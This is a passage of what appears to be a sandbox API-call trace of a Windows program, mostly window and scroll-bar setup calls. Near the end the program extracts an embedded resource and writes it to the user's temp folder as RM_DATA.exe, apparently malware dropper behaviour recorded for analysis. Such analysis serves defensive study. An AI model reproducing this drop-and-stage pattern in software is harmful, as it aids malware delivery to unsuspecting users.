dwFlags=0x0, lpWideCharStr="EnableTheming", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0095.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EnableTheming", cchWideChar=13, lpMultiByteStr=0x258ad8c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EnableTheming", lpUsedDefaultChar=0x0) returned 13 [0095.104] GetProcAddress (hModule=0x74310000, lpProcName="EnableTheming") returned 0x7436ce00 [0095.201] GetFileVersionInfoSizeW (in: lptstrFilename="comctl32.dll", lpdwHandle=0x19effc | out: lpdwHandle=0x19effc) returned 0x73c [0103.517] GetFileVersionInfoW (in: lptstrFilename="comctl32.dll", dwHandle=0x0, dwLen=0x73c, lpData=0x2537690 | out: lpData=0x2537690) returned 1 [0104.395] VerQueryValueW (in: pBlock=0x2537690, lpSubBlock="\\", lplpBuffer=0x19eff4, puLen=0x19eff0 | out: lplpBuffer=0x19eff4*=0x25376b8, puLen=0x19eff0) returned 1 [0104.618] IsAppThemed () returned 0x1 [0105.482] IsThemeActive () returned 0x1 [0106.723] GetCurrentThreadId () returned 0x112c [0106.723] GetCurrentThreadId () returned 0x112c [0106.723] GetCurrentThreadId () returned 0x112c [0106.746] GetCurrentThreadId () returned 0x112c [0106.746] GetCurrentThreadId () returned 0x112c [0106.746] GetCurrentThreadId () returned 0x112c [0106.880] CallWindowProcW (lpPrevWndFunc=0x41525c, hWnd=0x302c0, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0107.026] IsIconic (hWnd=0x302c0) returned 1 [0107.026] GetWindowPlacement (in: hWnd=0x302c0, lpwndpl=0x19f020 | out: lpwndpl=0x19f020) returned 1 [0107.467] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0107.594] GetCurrentThreadId () returned 0x112c [0107.594] GetCurrentThreadId () returned 0x112c [0107.594] GetCurrentThreadId () returned 0x112c [0107.594] GetCurrentThreadId () returned 0x112c [0107.594] GetCurrentThreadId () returned 0x112c [0107.594] GetCurrentThreadId () returned 0x112c [0107.728] GetWindowPlacement (in: hWnd=0x302c0, lpwndpl=0x19efd0 | out: lpwndpl=0x19efd0) returned 1 [0107.750] CallWindowProcW (lpPrevWndFunc=0x41525c, hWnd=0x302c0, Msg=0x46, wParam=0x0, lParam=0x19f414) returned 0x0 [0107.863] GetCurrentThreadId () returned 0x112c [0107.863] GetCurrentThreadId () returned 0x112c [0107.863] GetCurrentThreadId () returned 0x112c [0107.863] GetCurrentThreadId () returned 0x112c [0107.863] GetCurrentThreadId () returned 0x112c [0107.863] GetCurrentThreadId () returned 0x112c [0107.882] CallWindowProcW (lpPrevWndFunc=0x41525c, hWnd=0x302c0, Msg=0x83, wParam=0x1, lParam=0x19f3ec) returned 0x0 [0107.995] GetCurrentThreadId () returned 0x112c [0107.995] GetCurrentThreadId () returned 0x112c [0107.995] GetCurrentThreadId () returned 0x112c [0107.995] GetCurrentThreadId () returned 0x112c [0107.995] GetCurrentThreadId () returned 0x112c [0107.995] GetCurrentThreadId () returned 0x112c [0107.997] IsWindowVisible (hWnd=0x302c0) returned 0 [0107.997] IsIconic (hWnd=0x302c0) returned 1 [0107.997] GetWindowPlacement (in: hWnd=0x302c0, lpwndpl=0x19eff4 | out: lpwndpl=0x19eff4) returned 1 [0107.997] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.018] CallWindowProcW (lpPrevWndFunc=0x41525c, hWnd=0x302c0, Msg=0x47, wParam=0x0, lParam=0x19f414) returned 0x0 [0108.018] IsIconic (hWnd=0x302c0) returned 1 [0108.019] GetWindowPlacement (in: hWnd=0x302c0, lpwndpl=0x19e898 | out: lpwndpl=0x19e898) returned 1 [0108.019] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.019] CallWindowProcW (lpPrevWndFunc=0x41525c, hWnd=0x302c0, Msg=0x5, wParam=0x1, lParam=0x0) returned 0x0 [0108.240] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.240] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.416] IsIconic (hWnd=0x302c0) returned 1 [0108.416] SetRect (in: lprc=0x19e8a0, xLeft=0, yTop=0, xRight=0, yBottom=0 | out: lprc=0x19e8a0) returned 1 [0108.416] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.416] GetWindowLongW (hWnd=0x302c0, nIndex=-20) returned 65536 [0108.416] AdjustWindowRectEx (in: lpRect=0x19e8a0, dwStyle=0xae000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e8a0) returned 1 [0108.416] SetRect (in: lprc=0x19e8a0, xLeft=0, yTop=0, xRight=320, yBottom=240 | out: lprc=0x19e8a0) returned 1 [0108.416] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.416] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.416] IsIconic (hWnd=0x302c0) returned 1 [0108.416] SetRect (in: lprc=0x19e8a0, xLeft=0, yTop=0, xRight=0, yBottom=0 | out: lprc=0x19e8a0) returned 1 [0108.416] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.417] GetWindowLongW (hWnd=0x302c0, nIndex=-20) returned 65536 [0108.417] AdjustWindowRectEx (in: lpRect=0x19e8a0, dwStyle=0xae000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e8a0) returned 1 [0108.417] SetRect (in: lprc=0x19e8a0, xLeft=0, yTop=0, xRight=320, yBottom=240 | out: lprc=0x19e8a0) returned 1 [0108.417] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.417] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.417] IsIconic (hWnd=0x302c0) returned 1 [0108.417] SetRect (in: lprc=0x19e870, xLeft=0, yTop=0, xRight=0, yBottom=0 | out: lprc=0x19e870) returned 1 [0108.417] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.417] GetWindowLongW (hWnd=0x302c0, nIndex=-20) returned 65536 [0108.417] AdjustWindowRectEx (in: lpRect=0x19e870, dwStyle=0xae000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e870) returned 1 [0108.417] SetRect (in: lprc=0x19e870, xLeft=0, yTop=0, xRight=320, yBottom=240 | out: lprc=0x19e870) returned 1 [0108.417] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.417] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.417] IsIconic (hWnd=0x302c0) returned 1 [0108.417] SetRect (in: lprc=0x19e870, xLeft=0, yTop=0, xRight=0, yBottom=0 | out: lprc=0x19e870) returned 1 [0108.417] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.417] GetWindowLongW (hWnd=0x302c0, nIndex=-20) returned 65536 [0108.417] AdjustWindowRectEx (in: lpRect=0x19e870, dwStyle=0xae000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e870) returned 1 [0108.417] SetRect (in: lprc=0x19e870, xLeft=0, yTop=0, xRight=320, yBottom=240 | out: lprc=0x19e870) returned 1 [0108.442] FlatSB_SetScrollProp (param_1=0x302c0, index=0x100, newValue=0x0, param_4=0) returned 0 [0108.442] GetSysColor (nIndex=20) returned 0xffffff [0108.442] FlatSB_SetScrollProp (param_1=0x302c0, index=0x40, newValue=0xffffff, param_4=0) returned 0 [0108.442] FlatSB_SetScrollInfo (param_1=0x302c0, code=1, psi=0x19e8ac, fRedraw=1) returned 0 [0108.443] FlatSB_GetScrollPos (param_1=0x302c0, code=1) returned 0 [0108.443] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.443] IsIconic (hWnd=0x302c0) returned 1 [0108.443] SetRect (in: lprc=0x19e870, xLeft=0, yTop=0, xRight=0, yBottom=0 | out: lprc=0x19e870) returned 1 [0108.443] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.443] GetWindowLongW (hWnd=0x302c0, nIndex=-20) returned 65536 [0108.443] AdjustWindowRectEx (in: lpRect=0x19e870, dwStyle=0xae000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e870) returned 1 [0108.443] SetRect (in: lprc=0x19e870, xLeft=0, yTop=0, xRight=320, yBottom=240 | out: lprc=0x19e870) returned 1 [0108.443] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.443] IsIconic (hWnd=0x302c0) returned 1 [0108.443] SetRect (in: lprc=0x19e870, xLeft=0, yTop=0, xRight=0, yBottom=0 | out: lprc=0x19e870) returned 1 [0108.443] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.443] GetWindowLongW (hWnd=0x302c0, nIndex=-20) returned 65536 [0108.443] AdjustWindowRectEx (in: lpRect=0x19e870, dwStyle=0xae000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e870) returned 1 [0108.443] SetRect (in: lprc=0x19e870, xLeft=0, yTop=0, xRight=320, yBottom=240 | out: lprc=0x19e870) returned 1 [0108.443] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.444] IsIconic (hWnd=0x302c0) returned 1 [0108.444] SetRect (in: lprc=0x19e870, xLeft=0, yTop=0, xRight=0, yBottom=0 | out: lprc=0x19e870) returned 1 [0108.444] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.444] GetWindowLongW (hWnd=0x302c0, nIndex=-20) returned 65536 [0108.444] AdjustWindowRectEx (in: lpRect=0x19e870, dwStyle=0xae000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e870) returned 1 [0108.444] SetRect (in: lprc=0x19e870, xLeft=0, yTop=0, xRight=320, yBottom=240 | out: lprc=0x19e870) returned 1 [0108.444] FlatSB_SetScrollProp (param_1=0x302c0, index=0x200, newValue=0x0, param_4=0) returned 0 [0108.444] GetSysColor (nIndex=20) returned 0xffffff [0108.444] FlatSB_SetScrollProp (param_1=0x302c0, index=0x80, newValue=0xffffff, param_4=0) returned 0 [0108.444] FlatSB_SetScrollInfo (param_1=0x302c0, code=0, psi=0x19e8ac, fRedraw=1) returned 0 [0108.444] FlatSB_GetScrollPos (param_1=0x302c0, code=0) returned 0 [0108.444] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.444] IsIconic (hWnd=0x302c0) returned 1 [0108.444] SetRect (in: lprc=0x19e870, xLeft=0, yTop=0, xRight=0, yBottom=0 | out: lprc=0x19e870) returned 1 [0108.444] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.444] GetWindowLongW (hWnd=0x302c0, nIndex=-20) returned 65536 [0108.444] AdjustWindowRectEx (in: lpRect=0x19e870, dwStyle=0xae000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e870) returned 1 [0108.444] SetRect (in: lprc=0x19e870, xLeft=0, yTop=0, xRight=320, yBottom=240 | out: lprc=0x19e870) returned 1 [0108.445] GetCurrentThreadId () returned 0x112c [0108.445] GetCurrentThreadId () returned 0x112c [0108.445] GetCurrentThreadId () returned 0x112c [0108.445] GetCurrentThreadId () returned 0x112c [0108.445] GetCurrentThreadId () returned 0x112c [0108.445] GetCurrentThreadId () returned 0x112c [0108.445] GetCurrentThreadId () returned 0x112c [0108.445] GetCurrentThreadId () returned 0x112c [0108.445] GetCurrentThreadId () returned 0x112c [0108.445] GetCurrentThreadId () returned 0x112c [0108.445] GetCurrentThreadId () returned 0x112c [0108.445] GetCurrentThreadId () returned 0x112c [0108.447] GetWindowLongW (hWnd=0x302c0, nIndex=-20) returned 65536 [0108.447] SetWindowLongW (hWnd=0x302c0, nIndex=-20, dwNewLong=589824) returned 65536 [0108.447] CallWindowProcW (lpPrevWndFunc=0x41525c, hWnd=0x302c0, Msg=0x7c, wParam=0xffffffec, lParam=0x19f864) returned 0x0 [0108.447] GetCurrentThreadId () returned 0x112c [0108.447] GetCurrentThreadId () returned 0x112c [0108.447] GetCurrentThreadId () returned 0x112c [0108.447] GetCurrentThreadId () returned 0x112c [0108.447] GetCurrentThreadId () returned 0x112c [0108.447] GetCurrentThreadId () returned 0x112c [0108.449] CallWindowProcW (lpPrevWndFunc=0x41525c, hWnd=0x302c0, Msg=0x7d, wParam=0xffffffec, lParam=0x19f864) returned 0x0 [0108.450] GetCurrentThreadId () returned 0x112c [0108.450] GetCurrentThreadId () returned 0x112c [0108.450] GetCurrentThreadId () returned 0x112c [0108.450] GetCurrentThreadId () returned 0x112c [0108.450] GetCurrentThreadId () returned 0x112c [0108.450] GetCurrentThreadId () returned 0x112c [0108.451] GetSysColor (nIndex=15) returned 0xf0f0f0 [0108.451] SetLayeredWindowAttributes (hwnd=0x302c0, crKey=0xf0f0f0, bAlpha=0xff, dwFlags=0x1) returned 1 [0108.457] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.572] IsIconic (hWnd=0x302c0) returned 1 [0108.572] GetWindowPlacement (in: hWnd=0x302c0, lpwndpl=0x19fb24 | out: lpwndpl=0x19fb24) returned 1 [0108.572] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.591] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x257bf84, cbMultiByte=6, lpWideCharStr=0x19eaa8, cchWideChar=2047 | out: lpWideCharStr="Tahoma") returned 6 [0108.734] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x19f9a9, cbMultiByte=6, lpWideCharStr=0x258adec, cchWideChar=7 | out: lpWideCharStr="Tahoma") returned 6 [0108.734] CreateFontIndirectW (lplf=0x19fae0) returned 0x300a07a9 [0108.735] CallWindowProcW (lpPrevWndFunc=0x41525c, hWnd=0x302c0, Msg=0x30, wParam=0x300a07a9, lParam=0x1) returned 0x0 [0108.885] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.885] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.885] IsIconic (hWnd=0x302c0) returned 1 [0108.885] SetRect (in: lprc=0x19fda4, xLeft=0, yTop=0, xRight=0, yBottom=0 | out: lprc=0x19fda4) returned 1 [0108.885] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.885] GetWindowLongW (hWnd=0x302c0, nIndex=-20) returned 589824 [0108.885] AdjustWindowRectEx (in: lpRect=0x19fda4, dwStyle=0xae000000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x19fda4) returned 1 [0108.885] SetRect (in: lprc=0x19fda4, xLeft=0, yTop=0, xRight=320, yBottom=240 | out: lprc=0x19fda4) returned 1 [0108.885] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.886] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.886] IsIconic (hWnd=0x302c0) returned 1 [0108.886] SetRect (in: lprc=0x19fda4, xLeft=0, yTop=0, xRight=0, yBottom=0 | out: lprc=0x19fda4) returned 1 [0108.886] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.886] GetWindowLongW (hWnd=0x302c0, nIndex=-20) returned 589824 [0108.886] AdjustWindowRectEx (in: lpRect=0x19fda4, dwStyle=0xae000000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x19fda4) returned 1 [0108.886] SetRect (in: lprc=0x19fda4, xLeft=0, yTop=0, xRight=320, yBottom=240 | out: lprc=0x19fda4) returned 1 [0108.886] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.886] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.886] IsIconic (hWnd=0x302c0) returned 1 [0108.886] SetRect (in: lprc=0x19fd74, xLeft=0, yTop=0, xRight=0, yBottom=0 | out: lprc=0x19fd74) returned 1 [0108.886] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.886] GetWindowLongW (hWnd=0x302c0, nIndex=-20) returned 589824 [0108.886] AdjustWindowRectEx (in: lpRect=0x19fd74, dwStyle=0xae000000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x19fd74) returned 1 [0108.886] SetRect (in: lprc=0x19fd74, xLeft=0, yTop=0, xRight=320, yBottom=240 | out: lprc=0x19fd74) returned 1 [0108.886] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.886] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.886] IsIconic (hWnd=0x302c0) returned 1 [0108.886] SetRect (in: lprc=0x19fd74, xLeft=0, yTop=0, xRight=0, yBottom=0 | out: lprc=0x19fd74) returned 1 [0108.886] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.886] GetWindowLongW (hWnd=0x302c0, nIndex=-20) returned 589824 [0108.886] AdjustWindowRectEx (in: lpRect=0x19fd74, dwStyle=0xae000000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x19fd74) returned 1 [0108.886] SetRect (in: lprc=0x19fd74, xLeft=0, yTop=0, xRight=320, yBottom=240 | out: lprc=0x19fd74) returned 1 [0108.886] FlatSB_SetScrollProp (param_1=0x302c0, index=0x100, newValue=0x0, param_4=0) returned 0 [0108.886] GetSysColor (nIndex=20) returned 0xffffff [0108.886] FlatSB_SetScrollProp (param_1=0x302c0, index=0x40, newValue=0xffffff, param_4=0) returned 0 [0108.886] FlatSB_SetScrollInfo (param_1=0x302c0, code=1, psi=0x19fdb0, fRedraw=1) returned 0 [0108.887] FlatSB_GetScrollPos (param_1=0x302c0, code=1) returned 0 [0108.887] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.887] IsIconic (hWnd=0x302c0) returned 1 [0108.887] SetRect (in: lprc=0x19fd74, xLeft=0, yTop=0, xRight=0, yBottom=0 | out: lprc=0x19fd74) returned 1 [0108.887] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.887] GetWindowLongW (hWnd=0x302c0, nIndex=-20) returned 589824 [0108.887] AdjustWindowRectEx (in: lpRect=0x19fd74, dwStyle=0xae000000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x19fd74) returned 1 [0108.887] SetRect (in: lprc=0x19fd74, xLeft=0, yTop=0, xRight=320, yBottom=240 | out: lprc=0x19fd74) returned 1 [0108.887] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.887] IsIconic (hWnd=0x302c0) returned 1 [0108.887] SetRect (in: lprc=0x19fd74, xLeft=0, yTop=0, xRight=0, yBottom=0 | out: lprc=0x19fd74) returned 1 [0108.887] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.887] GetWindowLongW (hWnd=0x302c0, nIndex=-20) returned 589824 [0108.887] AdjustWindowRectEx (in: lpRect=0x19fd74, dwStyle=0xae000000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x19fd74) returned 1 [0108.887] SetRect (in: lprc=0x19fd74, xLeft=0, yTop=0, xRight=320, yBottom=240 | out: lprc=0x19fd74) returned 1 [0108.888] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.888] IsIconic (hWnd=0x302c0) returned 1 [0108.888] SetRect (in: lprc=0x19fd74, xLeft=0, yTop=0, xRight=0, yBottom=0 | out: lprc=0x19fd74) returned 1 [0108.888] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.888] GetWindowLongW (hWnd=0x302c0, nIndex=-20) returned 589824 [0108.888] AdjustWindowRectEx (in: lpRect=0x19fd74, dwStyle=0xae000000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x19fd74) returned 1 [0108.888] SetRect (in: lprc=0x19fd74, xLeft=0, yTop=0, xRight=320, yBottom=240 | out: lprc=0x19fd74) returned 1 [0108.888] FlatSB_SetScrollProp (param_1=0x302c0, index=0x200, newValue=0x0, param_4=0) returned 0 [0108.888] GetSysColor (nIndex=20) returned 0xffffff [0108.888] FlatSB_SetScrollProp (param_1=0x302c0, index=0x80, newValue=0xffffff, param_4=0) returned 0 [0108.888] FlatSB_SetScrollInfo (param_1=0x302c0, code=0, psi=0x19fdb0, fRedraw=1) returned 0 [0108.888] FlatSB_GetScrollPos (param_1=0x302c0, code=0) returned 0 [0108.888] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.889] IsIconic (hWnd=0x302c0) returned 1 [0108.889] SetRect (in: lprc=0x19fd74, xLeft=0, yTop=0, xRight=0, yBottom=0 | out: lprc=0x19fd74) returned 1 [0108.889] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0108.889] GetWindowLongW (hWnd=0x302c0, nIndex=-20) returned 589824 [0108.889] AdjustWindowRectEx (in: lpRect=0x19fd74, dwStyle=0xae000000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x19fd74) returned 1 [0108.889] SetRect (in: lprc=0x19fd74, xLeft=0, yTop=0, xRight=320, yBottom=240 | out: lprc=0x19fd74) returned 1 [0109.058] SendMessageW (hWnd=0x302c0, Msg=0x80, wParam=0x1, lParam=0x8029f) returned 0x0 [0109.058] CallWindowProcW (lpPrevWndFunc=0x41525c, hWnd=0x302c0, Msg=0x80, wParam=0x1, lParam=0x8029f) returned 0x0 [0109.061] GetCurrentThreadId () returned 0x112c [0109.061] GetCurrentThreadId () returned 0x112c [0109.061] GetCurrentThreadId () returned 0x112c [0109.061] GetCurrentThreadId () returned 0x112c [0109.061] GetCurrentThreadId () returned 0x112c [0109.061] GetCurrentThreadId () returned 0x112c [0109.084] SetPropW (hWnd=0x302c0, lpString=0xc0db, hData=0x254f220) returned 1 [0109.084] SetPropW (hWnd=0x302c0, lpString=0xc0dc, hData=0x254f220) returned 1 [0109.371] GetWindowPlacement (in: hWnd=0x302c0, lpwndpl=0x19fe34 | out: lpwndpl=0x19fe34) returned 1 [0109.469] MonitorFromPoint (pt=0xa0, dwFlags=0x78) returned 0x10001 [0109.921] GetProcAddress (hModule=0x77750000, lpProcName="GetDpiForMonitor") returned 0x77795120 [0109.921] GetDpiForMonitor () returned 0x0 [0110.865] GetCurrentThreadId () returned 0x112c [0110.865] GetCurrentThreadId () returned 0x112c [0110.959] GetCurrentThreadId () returned 0x112c [0111.053] GetCurrentThreadId () returned 0x112c [0111.053] GetCurrentThreadId () returned 0x112c [0111.053] GetCurrentThreadId () returned 0x112c [0111.053] GetCurrentThreadId () returned 0x112c [0111.053] IsIconic (hWnd=0x302c0) returned 1 [0111.053] SetRect (in: lprc=0x19fec0, xLeft=0, yTop=0, xRight=0, yBottom=0 | out: lprc=0x19fec0) returned 1 [0111.053] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0111.053] GetWindowLongW (hWnd=0x302c0, nIndex=-20) returned 589824 [0111.053] AdjustWindowRectEx (in: lpRect=0x19fec0, dwStyle=0xae000000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x19fec0) returned 1 [0111.053] SetRect (in: lprc=0x19fec0, xLeft=0, yTop=0, xRight=320, yBottom=240 | out: lprc=0x19fec0) returned 1 [0111.053] GetCurrentThreadId () returned 0x112c [0111.053] GetCurrentThreadId () returned 0x112c [0111.053] GetCurrentThreadId () returned 0x112c [0111.054] GetCurrentThreadId () returned 0x112c [0111.054] SetEvent (hEvent=0x218) returned 1 [0111.054] SetEvent (hEvent=0x214) returned 1 [0111.071] ShowWindow (hWnd=0x202c4, nCmdShow=0) returned 0 [0111.615] GetEnvironmentVariableW (in: lpName="TEMP", lpBuffer=0x19f66c, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp") returned 0x22 [0111.649] FindResourceW (hModule=0x400000, lpName="ResName", lpType=0xa) returned 0x6f6678 [0111.650] LoadResource (hModule=0x400000, hResInfo=0x6f6678) returned 0x67fb30 [0111.650] SizeofResource (hModule=0x400000, hResInfo=0x6f6678) returned 0x65d58 [0111.650] LockResource (hResData=0x67fb30) returned 0x67fb30 [0111.819] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\rm_data.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0111.821] WriteFile (in: hFile=0x27c, lpBuffer=0x67fb30*, nNumberOfBytesToWrite=0x65d58, lpNumberOfBytesWritten=0x19fe00, lpOverlapped=0x0 | out: lpBuffer=0x67fb30*, lpNumberOfBytesWritten=0x19fe00*=0x65d58, lpOverlapped=0x0) returned 1 [0111.831] CloseHandle (hObject=0x27c) returned 1 [0111.844] FreeResource (hResData=0x67fb30) returned 0 [0111.844] GetEnvironmentVariableW (in: lpName="TEMP", lpBuffer=0x19f660, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp") returned 0x22 [0111.844] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="\\\\?\\UNC\\", cchCount1=8, lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe", cchCount2=8) returned 1 [0111.846] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="\\\\?\\", cchCount1=4, lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe", cchCount2=4) returned 1 [0111.846] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="\\\\?\\UNC\\", cchCount1=8, lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe", cchCount2=8) returned 1 [0111.846] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="\\\\?\\", cchCount1=4, lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe", cchCount2=4) returned 1 [0111.846] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="\\\\?\\UNC\\", cchCount1=8, lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe", cchCount2=8) returned 1 [0111.846] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="\\\\?\\", cchCount1=4, lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe", cchCount2=4) returned 1 [0111.846] SetLastError (dwErrCode=0x0) [0111.846] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe", nBufferLength=0x104, lpBuffer=0x19fc04, lpFilePart=0x19fc00 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe", lpFilePart=0x19fc00*="RM_DATA.exe") returned 0x2e [0111.847] GetLastError () returned 0x0 [0111.847] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="\\\\?\\UNC\\", cchCount1=8, lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe", cchCount2=8) returned 1 [0111.847] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="\\\\?\\", cchCount1=4, lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe", cchCount2=4) returned 1 [0111.847] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="\\\\?\\UNC\\", cchCount1=8, lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe", cchCount2=8) returned 1 [0111.847] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="\\\\?\\", cchCount1=4, lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe", cchCount2=4) returned 1 [0111.847] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp")) returned 0x10 [0111.847] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\rm_data.exe")) returned 0x20 [0111.847] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="\\\\?\\UNC\\", cchCount1=8, lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe", cchCount2=8) returned 1 [0111.847] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="\\\\?\\", cchCount1=4, lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe", cchCount2=4) returned 1 [0111.847] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="\\\\?\\UNC\\", cchCount1=8, lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe", cchCount2=8) returned 1 [0111.847] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="\\\\?\\", cchCount1=4, lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe", cchCount2=4) returned 1 [0111.847] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="\\\\?\\UNC\\", cchCount1=8, lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe", cchCount2=8) returned 1 [0111.847] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="\\\\?\\", 